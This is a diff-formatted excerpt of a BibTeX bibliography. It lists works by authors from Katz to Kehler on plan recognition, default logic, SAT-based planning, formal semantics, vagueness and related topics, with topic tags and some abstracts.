+@inproceedings{ katz_s-taubenfeld:1986a, + author = {S. Katz and G. Tauvenfeld}, + title = {What Processes Know: Definitions and Methods}, + booktitle = {Proceedings of the Ninth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1986}, + pages = {249--262}, + organization = {{ACM}}, + missinginfo = {A's 1st name, editor, address, publisher}, + topic = {epistemic-logic;distributed;distributed-systems;} + } + +@incollection{ kaufman_sg:1991a, + author = {Stephen G. Kaufman}, + title = {A Formal Theory of Spatial Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {347--356}, + address = {San Mateo, California}, + topic = {kr;spatial-reasoning;kr-course;} + } + +@techreport{ kautz:1985a, + author = {Henry A. Kautz}, + title = {Toward a Theory of Plan Recognition}, + institution = {Computer Science Department, University of Rochester}, + number = {162}, + year = {1985}, + address = {Rochester, New York}, + topic = {plan-recognition;} + } + +@inproceedings{ kautz:1986a, + author = {Henry A. Kautz}, + title = {The Logic of Persistence}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {401--405}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + contentnote = {This is one of 3 formulations of a chronological + minimization solutuon to the YSP.}, + topic = {temporal-reasoning;Yale-shooting-problem;frame-problem;} + } + +@inproceedings{ kautz-allen_jf:1986a, + author = {Henry A. Kautz and James F. Allen}, + title = {Generalized Plan Recognition}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {pages}, + topic = {plan-recognition;} + } + +@techreport{ kautz:1987a, + author = {Henry Kautz}, + title = {A Formal Theory of Plan Recognition}, + institution = {Department of Computer Science, University of + Rochester}, + number = {215}, + year = {1987}, + address = {Rochester, New York}, + topic = {plan-recognition;} + } + +@incollection{ kautz-selman:1989a1, + author = {Henry Kautz and Bart Selman}, + title = {Hard Problems for Simple Default Logics}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {189--197}, + address = {San Mateo, California}, + xref = {Journal Publication: kautz-selman:1989a2.}, + topic = {kr;kr-course;default-logic;nonmonotonic-reasoning; + kr-complexity-analysis;} + } + +@article{ kautz-selman:1989a2, + author = {Henry A. Kautz and Bart Selman}, + title = {Hard Problems for Simple Default Logics}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {3}, + pages = {243--279}, + xref = {Conference Publication: kautz-selman:1989a1.}, + topic = {kr;kr-course;default-logic;nonmonotonic-reasoning; + kr-complexity-analysis;} + } + +@incollection{ kautz:1990a, + author = {Henry A. Kautz}, + title = {A Circumscriptive Theory of Plan Recognition}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + pages = {105--133}, + address = {Cambridge, Massachusetts}, + topic = {plan-recognition;} + } + +@article{ kautz-selman:1991a, + author = {Henry Kautz and Bart Selman}, + title = {Hard Problems for Simple Default Logics}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {243--281}, + contentnote = {Explores complexity of reasoning in limited default + logics. The complexity results are mostly negative.}, + topic = {complexity-theory;nonmonotonic-logic;complexity-in-AI; + default-logic;complexity-in-kr;} + } + +@inproceedings{ kautz-selman:1992a, + author = {Henry Kautz and Bart Selman}, + title = {Planning as Satisfiability}, + booktitle = {Proceedings of the Tenth {E}uropean Conference on + Artificial Intelligence}, + year = {1992}, + editor = {J. LLoyd}, + pages = {359--379}, + missinginfo = {Editor, Publisher, Address}, + topic = {planning-algorithms;sat-based-planning; + model-construction;} + } + +@article{ kautz-etal:1995a, + author = {Henry Kautz and Michael Kearns and Bart Selman}, + title = {Horn Approximations of Empirical Data}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {129--145}, + acontentnote = {Abstract: + Formal AI systems traditionally represent knowledge using + logical formulas. Sometimes, however, a model-based + representation is more compact and enables faster reasoning than + the corresponding formula-based representation. The central idea + behind our work is to represent a large set of models by a + subset of characteristic models. More specifically, we examine + model-based representations of Horn theories, and show that + there are large Horn theories that can be exactly represented by + an exponentially smaller set of characteristic models. + We show that deduction based on a set of characteristic models + requires only polynomial time, as it does using Horn theories. + More surprisingly, abduction can be performed in polynomial time + using a set of characteristic models, whereas abduction using + Horn theories is NP-complete. Finally, we discuss algorithms for + generating efficient representations of the Horn theory that + best approximates a general set of models. } , + topic = {Horn-approximationl;kr;macro-formalization;} + } + +@incollection{ kautz-etal:1996a, + author = {Henry Kautz and David McAllester and Bart Selman}, + title = {Encoding Plans in Propositional Logic}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {374--384}, + address = {San Francisco, California}, + topic = {kr;planning;theorem-proving;kr-course;} + } + +@inproceedings{ kautz-etal:1996b, + author = {Henry Kautz and Bart Selman and Al Milewski}, + title = {Agent Amplified Communication}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference + } , + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + pages = {1--9}, + address = {Menlo Park, California}, + topic = {information-retrieval;software-agents;} + } + +@inproceedings{ kautz-selman:1996a, + author = {Henry Kautz and Bart Selman}, + title = {Pushing the Envelope: Planning, Propositional Logic, and + Stochastic Search}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {1194--1201}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {sat-based-planning;planning-algorithm;stochastic-search;} + } + +@inproceedings{ kautz-selman:1999a, + author = {Henry Kautz and Bart Selman}, + title = {Unifying {SAT}-Based and Graph-Based Planning}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + xref = {This entry made obsolete by kautz-selman:1999b.}, + topic = {planning-algorithms;graph-based-reasoning; + model-construction;} + } + +@inproceedings{ kautz-selman:1999b, + author = {Henry Kautz and Bart Selman}, + title = {Unifying {SAT}-Based and Graph-Based Planning}, + booktitle = {Proceedings of the Sixteenth International Joint + Conference on Artificial Intelligence}, + year = {1999}, + editor = {Thomas Dean}, + pages = {318--325}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {planning-algorithms;graph-based-reasoning; + model-construction;} + } + +@incollection{ kautz-selman:2000a, + author = {Henry Kautz and Bart Selman}, + title = {Encoding Domain Knowledge for + Propositional Planning}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {169--186}, + address = {Dordrecht}, + topic = {logic-in-AI;foundations-of-planning;history-of-AI; + causal-reasoning;} + } + +@book{ kavanaugh-etal:1996a, + editor = {Robert D. Kavanaugh and Betty Zimmerberg and Steven Fein}, + title = {Emotion: Interdisciplinary Perspectives}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {emotion;cognitive-psychology;} + } + +@incollection{ kawamori-etal:1998a, + author = {Masahito Kawamori and Takeshi Kawabata and Akira + Shimazu}, + title = {Discourse Markers in Spontaneous Dialogue: + A Corpus-Based Study of {J}apanese and {E}nglish}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {93--99}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;corpus-linguistics;} + } + +@incollection{ kawasaki-etal:1998a, + author = {Zenshiro Kawasaki and Keiji Takida and Masato + Tajima}, + title = {Language Model and Sentence Structure Manipulations for + Natural Language Applications Systems}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {281--286}, + address = {Somerset, New Jersey}, + topic = {nlp-technology;} + } + +@inproceedings{ kawashima-kitahara:1993a, + author = {Rurito Kawashima and Hisatsugu Kitahara}, + title = {On the Distribution and Interpretation of Subjects + and their Numerical Classifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {97--116}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {Japanese-language;} + } + +@article{ kay:1992a, + author = {Paul Kay}, + title = {The Inheritance of Presuppositions}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {4}, + pages = {333--379}, + topic = {presupposition;} + } + +@article{ kay_h-etal:2000a, + author = {Herbert Kay and Bernhard Rinner and Benjamin Kuipers}, + title = {Semi-Quantitative System Identification}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {103--140}, + acontentnote = {Abstract: + System identification takes a space of possible models and a + stream of observational data of a physical system, and attempts + to identify the element of the model space that best describes + the observed system. In traditional approaches, the model space + is specified by a parameterized differential equation, and + identification selects numerical parameter values so that + simulation of the model best matches the observations. We + present SQUID, a method for system identification in which the + space of potential models is defined by a semi-quantitative + differential equation (SQDE): qualitative and monotonic function + constraints as well as numerical intervals and functional + envelopes bound the set of possible models. The simulator SQSIM + predicts semi-quantitative behavior descriptions from the SQDE. + Identification takes place by describing the observation stream + in similar semi-quantitative terms and intersecting the two + descriptions to derive narrower bounds on the model space. + Refinement is done by refuting impossible or implausible subsets + of the model space. SQUID therefore has strengths, particularly + robustness and expressive power for incomplete knowledge, that + complement the properties of traditional system identification + methods. We also present detailed examples, evaluation, and + analysis of SQUID.}, + topic = {diagnosis;qualitative-simulation;} + } + +@inproceedings{ kay_m:1979a, + author = {Martin Kay}, + title = {Functional Grammar}, + booktitle = {Proceedings of the Fifth Annual Meeting of the + Berkeley Linguistic Society}, + year = {1979}, + pages = {142--158}, + topic = {constraint-based-grammar;unification;} +} + +@unpublished{ kay_m:1987a, + author = {Martin Kay}, + title = {Monotonicity in Linguistics}, + year = {1987}, + note = {Unpublished manuscript, Xerox Palo Alto Research Center}, + missinginfo = {Date is a guess.}, + topic = {nl-processing;parsing-algorithms;} + } + +@incollection{ kay_m:1992a, + author = {Martin Kay}, + title = {Unification}, + booktitle = {Computational Linguistics and Formal Semantics}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Michael Rosner and Roderick Johnson}, + pages = {1--29}, + address = {Cambridge, England}, + topic = {unification;unification-grammars;} + } + +@book{ kay_m-etal:1994a, + author = {Martin Kay and Jean Mark Gawron and Peter Norvig}, + title = {Verbmobil: A Translation System For Face-To-Face Dialog}, + publisher = {{CSLI} Publications}, + year = {1994}, + address = {Stanford}, + ISBN = {0937073954 (pbk.)}, + topic = {speech-to-speech-machine-translation;} + } + +@inproceedings{ kay_m:1996a, + author = {Martin Kay}, + title = {Chart Generation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {200--204}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {chart-parsing;parsing-algorithms;nl-interpretation;} + } + +@unpublished{ kay_p:1973a, + author = {Paul Kay}, + title = {A Model-Theoretic Approach to Folk Taxonomy}, + year = {1973}, + note = {Unpublished manuscript.}, + topic = {cultural-anthropology;;} + } + +@techreport{ kay_p:1983a, + author = {Paul Kay}, + title = {What is the {S}apir-{W}horf Hypothesis?}, + institution = {Institute of Cognitive Studies, University of + California, Berkeley}, + number = {8}, + year = {1983}, + address = {Berkeley, California}, + topic = {linguistic-relativity;} + } + +@article{ kay_p:1990a, + author = {Paul Kay}, + title = {Even}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {1}, + pages = {59--111}, + topic = {`even';discourse-focus;pragmatics;} + } + +@book{ kay_p:1995b, + author = {Paul Kay}, + title = {Meaning of Words and Contextual Determination of + Interpretation}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {lexical-semantics;context;polysemy;} + } + +@book{ kay_p:1996a, + author = {Paul Kay}, + title = {Words and the Grammar of Context}, + publisher = {{CSLI} Publications}, + year = {1996}, + address = {Stanford, California}, + contentnote = {TC: + 1. C. Fillmore, "Foreword" + 2. P. Kay, C. Fillmore, and M. O'Conner, "Regularity and + Idiomaticity in Grammatical Constructions: The Case + of {\it Let Alone}" + 3. P. Kay, "Even" + 4. P. Kay, "At Least" + 5. P. Kay, "Construction Grammar" + 6. P. Kay, "Linguistic Competence and Folk Theories of + Language: Two {E}nglish Hedges" + 7. P. Kay, "The {\it Kind of / Sort of} Construction" + 8. P. Kay, "Contextual Operators: {\it respective, + respectively}, and {\it vice versa}" + 9. P. Kay, "Constructional Modus Tollens and Level of + Conventionality" + 10. P. Kay, "Three Properties of the Ideal Reader" + 11. P. Kay, "The Inheritance of Presuppositions" + }, + topic = {lexical-semantics;context;polysemy;sentence-focus; + pragmatics;} + } + +@incollection{ kayaalp-etal:1998a, + author = {Mehmet Kayaalp and Ted Pedersen and Rebecca Bruce}, + title = {A Statistical Decision Making Method: A Case Study + on Prepositional Attachment}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {33--42}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;disambiguation;} + } + +@article{ kaye_lj:1995a, + author = {Lawrence J. Kaye}, + title = {The Languages of Thought}, + journal = {Philosophy of Science}, + year = {1995}, + volume = {62}, + number = {1}, + pages = {92--110}, + contentnote = {Critical examination of args for lang of thought.}, + topic = {foundations-of-semantics;} + } + +@book{ kaye_rw:1991a, + author = {Richard W. Kaye}, + title = {Models of {P}eano Arithmetic}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {model-theory;nonstandard-models;formalizations-of-arithmetic;} + } + +@book{ kayne_rs:1994a, + author = {Richard S. Kayne}, + title = {The Antisymmetry of Syntax}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {universal-grammar;} + } + +@incollection{ kayser:1984a, + author = {Daniel Kayser}, + title = {A Computer Scientist's View of Meaning}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {168--176}, + address = {Chichester}, + topic = {computational-semantics;nl-as-kr;} + } + +@article{ kayser-etal:1987a, + author = {Daniel Kayser and P. Fosse and M. Karoubi and B. Levrat and + L. Nicaud}, + title = {A Strategy for Reasoning in Natural Language}, + journal = {Applied Artificial Intelligence}, + year = {1987}, + volume = {1}, + number = {3}, + pages = {205--231}, + missinginfo = {A's 1st names.}, + topic = {kr;nl-as-kr;kr-course;} + } + +@incollection{ kayser-abir:1995a, + author = {Daniel Kayser and Hocine Abir}, + title = {A Non-Monotonic Approach to Lexical Semantics}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {303--318}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;nm-ling;} + } + +@article{ kazmi:1987a, + author = {Ali Akhtar Kazmi}, + title = {Quantification and Opacity}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {1}, + pages = {77--100}, + topic = {propositional-attitudes;quantifying-in-modality;} + } + +@article{ kazmi-pelletier:1998a, + author = {Ali Akhtar Kazmi and Francis Jeffry Pelletier}, + title = {Is Compositionality Formally Vacuous?}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {6}, + pages = {629--633}, + topic = {compositionality;} + } + +@book{ kearns-j:1984a, + author = {John Kearns}, + title = {Using Language}, + publisher = {State University of New York Press}, + year = {1984}, + address = {Albany}, + topic = {speech-acts;pragmatics;} + } + +@book{ kearns_m-vazirani:1994a, + author = {Michael J. Kearns and Umesh V. Vazirani}, + title = {An Introduction to Computational Learning Theory}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {learning-theory;} + } + +@book{ kearsley:1988a, + author = {Greg Kearsley}, + title = {Online Help Systems: Design and Implementation}, + publisher = {Ablex Pub. Corp.}, + year = {1988}, + address = {Norwood, New Jersey}, + ISBN = {089391472X}, + topic = {help-systems;HCI;} + } + +@article{ keefe:1995a, + author = {Rosanna Keefe}, + title = {Contingent Identity and Vague Identity}, + journal = {Analysis}, + year = {1995}, + volume = {65}, + pages = {183--190}, + missinginfo = {number}, + topic = {vagueness;identity;} + } + +@book{ keefe-smith_p:1997a, + editor = {Rosanna Keefe and Peter Smith}, + title = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. Rosanna Keefe and Peter Smith, "Introduction: Theories of + Vagueness", pp. 1--57 + 2. Diogenes Laertius, Galen and Cicero, "On the + Sorites", pp. 58--60 + 3. Bertrand Russell, "Vagueness", pp. 61--68 + 4. Max Black, "Vagueness: An Exercise in Philosophical + Analysis", pp. 69--81 + 5. Carl G. Hempel, "Vagueness and Logic", pp. 82--84 + 6. Henryk Mehlberg, "Truth and Vagueness", pp. 85--88 + 7. James Cargile, "The Sorites Paradox", pp. 89--98 + 8. Michael Dummett, "Wang's Paradox", pp. 99--118 + 9. Kit Fine, "Vagueness, Truth, and Logic", pp. 119--150 + 10. Crispin Wright, "Language-Mastery and the Sorites + Paradox", pp. 151--173 + 11. Kenton F. Machina, "Truth, Belief, and + Vagueness", pp. 174--203 + 12. Crispin Wright, "Further Reflections on the Sorites + Paradox", pp. 204--250 + 13. Richard Mark Sainsbury, "Concepts without + Boundaries", pp. 251--264 + 14. Timothy Williamson, "Vagueness and Ignorance", pp. 265--280 + 15. Michael Tye, "Sorites Paradox and the Semantics of + Vagueness", pp. 281--293 + 16. Dorothy Edgington, "Vagueness by Degrees", pp. 294--316 + 17. Gareth Evans, "Can There be Vague Objects?", pp. 317 + 18. David K. Lewis, "Vague Identity: {E}vans + Misunderstood", pp. 318--320 + 19. Terence Parsons and Peter Woodruff, "Wordly + Indeterminacy of Identity", pp. 321--337 + } , + xref = {Review: hyde:2001a.}, + topic = {vagueness;} + } + +@incollection{ keefe-smith_p:1997b, + author = {Rosanna Keefe and Peter Smith}, + title = {Introduction: Theories of Vagueness}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {1--57}, + address = {Cambridge, Massachusetts}, + topic = {vagueness;} + } + +@article{ keeley:2002a, + author = {Brian L. Keeley}, + title = {Making Sense of the Senses: Individuating Modalities + in Humans and Other Animals}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {1}, + pages = {5--28}, + topic = {philosophy-of-sensation;} + } + +@article{ keenan_e:1993a, + author = {Edward L. Keenan}, + title = {Natural Language, Sortal Reducibility, and Generalized + Quantifiers}, + journal = {Journal of Symbolic Logic}, + year = {1993}, + volume = {58}, + number = {1}, + pages = {314--325}, + topic = {nl-quantifiers;generalized-quantifiers;} + } + +@incollection{ keenan_el:1971a, + author = {Edward L. Keenan}, + title = {Two Kinds of Presupposition in Natural Language}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {45--52}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@book{ keenan_el:1975a, + editor = {Edward L. Keenan}, + title = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + address = {Cambridge, England}, + topic = {nl-semantics;} + } + +@article{ keenan_el:1978a, + author = {Edward L. Keenan}, + title = {Logical Semantics and Universal Grammar}, + journal = {Theoretical Linguistics}, + year = {1978}, + volume = {5}, + number = {1}, + pages = {83--107}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@incollection{ keenan_el:1978b, + author = {Edward L. Keenan}, + title = {Some Logical Problems in Translation}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {157--189}, + address = {New York}, + contentnote = {Argues it is false that what can be said in 1 lang can + be exactly translated into another.}, + topic = {foundations-of-semantics;} + } + +@incollection{ keenan_el:1978c, + author = {Edward L. Keenan}, + title = {Negative Coreference: Generalizing Quantification for + Natural Language}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {77--105}, + address = {Dordrecht}, + topic = {nl-semantics;non-co-reference;anaphora;} + } + +@techreport{ keenan_el:1978d, + author = {Edward L. Keenan}, + title = {Some Logical Problems for Translation}, + institution = {Working Papers, {UCLA} Linguistics Department}, + year = {1978}, + address = {University of California at Los Angeles}, + topic = {nl-semantics;nl-translation;} + } + +@unpublished{ keenan_el:1978e, + author = {Edward L. Keenan}, + title = {passive is Phrasal (Not Sentential or Lexical)}, + year = {1978}, + note = {Unpublished manuscript, {UCLA} Linguistics Department}, + topic = {passive;} + } + +@techreport{ keenan_el-faltz:1978a, + author = {Edward L. Keenan and Leonard M. Faltz}, + title = {Logical Types for Natural Language}, + institution = {Working Papers, {UCLA} Linguistics Department}, + year = {1978}, + address = {Los Angeles}, + missinginfo = {number}, + topic = {nl-semantics;} + } + +@unpublished{ keenan_el:1981a, + author = {Edward L. Keenan}, + title = {Parametric Variation in Universal Grammar}, + year = {1981}, + note = {Unpublished manuscript, Linguistics Department, + UCLA}, + topic = {universal-grammar;} + } + +@article{ keenan_el:1983a, + author = {Edward L. Keenan}, + title = {Facing the Truth: Some Advantages of Direct + Interpretation}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {335--371}, + topic = {Montague-grammar;nl-to-logic-mapping;nl-semantic-types;} + } + +@article{ keenan_el:1984a, + author = {Edward L. Keenan}, + title = {Semantic Correlates of the Ergative/Absolute Distinction}, + journal = {Linguistics}, + year = {1984}, + volume = {22}, + pages = {197--223}, + topic = {ergativity;nl-semantics;} + } + +@inproceedings{ keenan_el-moss_l:1984a, + author = {Edward L. Keenan and Lawrence S. Moss}, + title = {Determiners and the Logical Expressive Power of + Natural Language}, + booktitle = {Proceedings, Third {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1984}, + editor = {M. Wescoat et al.}, + pages = {149--157}, + publisher = {Stanford Linguistics Association}, + address = {Stanford, California}, + missinginfo = {Other editors}, + topic = {nl-quantifiers;} + } + +@book{ keenan_el-faltz:1985a, + author = {Edward L. Keenan and Leonard M. Faltz}, + title = {Boolean Semantics for Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1985}, + address = {Dordrecht}, + topic = {nl-semantics;} + } + +@inproceedings{ keenan_el-timberlake:1985b, + author = {Edward L. Keenan and Alan Timberlake}, + title = {Predicate Formation Rules in Universal Grammar}, + booktitle = {Proceedings, Fourth {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1985}, + publisher = {Stanford Linguistics Association}, + address = {Stanford, California}, + missinginfo = {editor, pages}, + topic = {universal-grammar;argument-structure;} + } + +@incollection{ keenan_el:1986a, + author = {Edward L. Keenan}, + title = {Lexical Freedom and Large Categories}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {27--51}, + address = {Dordrecht}, + topic = {nl-semantic-types;lexical-semantics;lexicalization; + pragmatics;} + } + +@article{ keenan_el-stavi:1986a, + author = {Edward L. Keenan and Jonathan Stavi}, + title = {A Semantic Characterization of Natural Language + Determiners}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {3}, + pages = {253--326}, + topic = {nl-quantifiers;determiners;nl-semantics;} + } + +@unpublished{ keenan_el-timberlake:1986a, + author = {Edward L. Keenan and Alan Timberlake}, + title = {Polyvalency and Domain Theory}, + year = {1986}, + note = {Unpublished manuscript, Linguistics Department, UCLA.}, + missinginfo = {Date is a guess.}, + topic = {nl-semantics;polyvalency;} + } + +@unpublished{ keenan_el:1987a, + author = {Edward L. Keenan}, + title = {Unreducible N-ary Quantifiers in Natural Language}, + year = {1987}, + note = {Unpublished manuscript, Linguistics Department, UCLA.}, + missinginfo = {Date is a guess.}, + topic = {generalized-quantifiers;nl-quantifiers;} + } + +@incollection{ keenan_el:1987b, + author = {Edward L. Keenan}, + title = {A Semantic Definition of `Indefinite {NP}'\, } , + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + address = {Cambridge, Massachusetts}, + missinginfo = {286--317}, + topic = {nl-semantics;indefiniteness;} + } + +@unpublished{ keenan_el:1987c, + author = {Edward L. Keenan}, + title = {Semantics and the Binding Theory}, + year = {1987}, + note = {Unpublished manuscript, Linguistics Department, UCLA.}, + topic = {nl-case;universal-grammar;anaphora;} + } + +@article{ keenan_el:1992a, + author = {Edward L. Keenan}, + title = {Beyond the {F}rege Boundary}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {2}, + pages = {199--221}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@inproceedings{ keenan_el:1993a, + author = {Edward L. Keenan}, + title = {Anaphor-Antecedent Asymmetry: A Conceptual Necessity?}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {117--144}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {foundations-of-semantics;syntax-semantics-interface;} + } + +@incollection{ keenan_el:1996a, + author = {Edward L. Keenan}, + title = {The Semantics of Determiners}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {41--63}, + topic = {generalized-quantifiers;nl-quantifiers;} + } + +@incollection{ keenan_eo:1975a1, + author = {Elenor Ochs Keenan}, + title = {On the Universality of Conversational Implicatures}, + booktitle = {Studies in Language Variation}, + publisher = {Georgetown University Press}, + year = {1975}, + editor = {Ralph Fasold and Roger Schuy}, + pages = {255--268}, + address = {Washington, DC}, + xref = {Journal publication: keenan_eo:1976a1}, + topic = {implicature;} + } + +@article{ keenan_eo:1976a1, + author = {Elenor Ochs Keenan}, + title = {On the Universality of Conversational Implicatures}, + journal = {Language in Society}, + year = {1976}, + volume = {5}, + pages = {68--81}, + missinginfo = {number}, + xref = {Reprinted: keenan_eo:1975a1}, + topic = {implicature;} + } + +@book{ keeney-raiffa:1976a, + author = {Ralph H. Keeney and Howard Raiffa}, + title = {Decisions With Multiple Objectives: Preferences and + Value Tradeoffs}, + publisher = {John Wiley and Sons, Inc.}, + year = {1976}, + address = {New York}, + topic = {decision-theory;preferences;multiattribute-utility;} + } + +@incollection{ keeney-nair:1977a, + author = {Ralph L. Keeney and Keshavan Nair}, + title = {Selecting Nuclear Power Plant Sites in the {P}acific + Northwest Using Decision Analysis}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {298--322}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@inproceedings{ kehler:1994a, + author = {Andrew Kehler}, + title = {Common Topics and Coherent Situations: Interpreting Ellipsis + in the Context of Discourse Inference}, + booktitle = {Proceedings of the Thirty-Second Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {James Pustejovsky}, + pages = {50--57}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;discourse-coherence;d-topic;ellipsis;pragmatics;} + } + +@inproceedings{ kehler:1996a, + author = {Andrew Kehler}, + title = {Coherence and the Coordinate Structure Constraint}, + booktitle = {Proceedings of the 22nd Annual Meeting + of the Berkeley Linguistics Society (BLS-22)}, + address = {Berkeley, CA}, + month = {February}, + year = {1996}, + topic = {coherence;coordination;} + } + +@article{ kehler:1997a, + author = {Andrew Kehler}, + title = {Current Theories of Centering for Pronoun Interpretation: + A Critical Evaluation}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {467--475}, + topic = {anaphora-resolution;centering;} + } + 